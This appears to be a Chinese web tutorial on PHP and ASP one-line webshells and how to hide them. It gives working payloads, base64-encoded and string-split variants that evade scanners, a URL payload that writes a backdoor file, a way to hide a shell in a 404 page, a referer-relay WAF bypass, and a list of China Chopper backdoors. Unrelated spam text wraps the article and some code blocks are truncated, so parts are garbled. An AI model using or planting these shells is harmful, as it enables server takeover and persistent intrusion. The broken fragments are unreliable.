给老婆最感人的话:HYPERLINK 刀背藏身
0X01 简单原理
在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马什么的,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器。
一句话木马的原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易,于是黑白的较量变成了黑帽不断的构造变形的后门,去隐蔽特征,而白帽则不断的更新过滤方法,建起更高的城墙。
简单的说一下原理,对于不同的语言有不同的构造方法,基本构造是首先出现的是脚本开始的标记,后边跟着的eval 或者是execute 是核心部分,就是获取并执行后边得到的内容,而后边得到的内容,是request或者是 $_POST 获取的值,显然这些内容,如果我们通过客户端向服务器发送,那么就会让服务器执行我们发送的脚本,挂马就实现了。最常见造型的木马如下:
<%execute(request("value"))%>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
0X02 变形
黑帽子的目的,就是想尽办法给目标网站插入这么一段会被储存起来的话,可以是一个单独的.asp 或者是.php,.aspx 文件,或者是隐藏在某些网页下,其中的value 就是客户端要发送的内容。然后通过客户端与服务器建立连接,发送控制脚本。
而上传文件,则涉及到任意文件上传的漏洞挖掘了,这也是黑帽无所不用其极的展现猥琐技术的地方,在此不表。这里,我们先以PHP 为例,去继续深挖那些挂马的技巧。
在上边的例子中,php 文件,很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是增加一点技巧的话,我们可以不出现eval:
@$_GET[a]($_POST[xxx]);
一样的,传给a值为 @base64_decode(base64编码过后的eval),这仍然就是最简单的一句话。
甚至,我们还可以连POST 都不出现。
上边这个例子仅仅使用了GET 函数来构造木马,利用方法是:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
因为我们使用的是PHP 的GET 函数,所以我们的利用方法构造在URL 里,其中的括号部分URL 编码,为了清晰我们把URL 编码的内容转换回来:
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4))};
我们看到,这里有两个base64 的解码,很明显是利用了base64编码来绕过扫描,我们进行解码看看:
?a=assert&b=${fputs(fopen(c.php,w),1)};
执行后当前目录生成c.php 一句话木马,木马内容就是最常见的一句话,这已经算是一个非常隐蔽的木马了,而在PHP 后门的变形之路上,远远不止这些,你甚至可以自己定义一个加密解密的函数,或者是利用xor, 字符串翻转,压缩,截断重组等等方法来绕过。
0X03 更高级的变形和隐藏
下面我们再看一些强悍的后门:
利用404页面隐藏木马
404 Not Found
Not Found
The requested URL was not found on this server.
一般404页面放好后,很少有人会记得定期对404页面进行检查和修改,但如果在404页面里,如果挂上了一句话后门,一方面不会被发现,另一方面,黑帽子很容易能定位到并连接上服务器。
无特征隐藏PHP后门
$url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
我们访问文件2,他会构造一个会话,进到后门url 1.php那里,然后在HTTP_REFERER 的内容也会传递给1.php,通过1.php 执行。一般来说,waf会对 referer字段宽松一些,也就造成了一个绕过。
来一些常见的后门
1、
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
2、
$filename=$_GET['xbid'];
include ($filename);
//危险的include函数,直接编译任何文件为php格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include ($uid);
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
6、典型一句话
程序后门代码
程序代码
//容错代码
程序代码
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
$_POST['sa']($_POST['sb']);?>
程序代码
$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
h=@eval_r($_POST1);
程序代码
//绕过给老婆最感人的话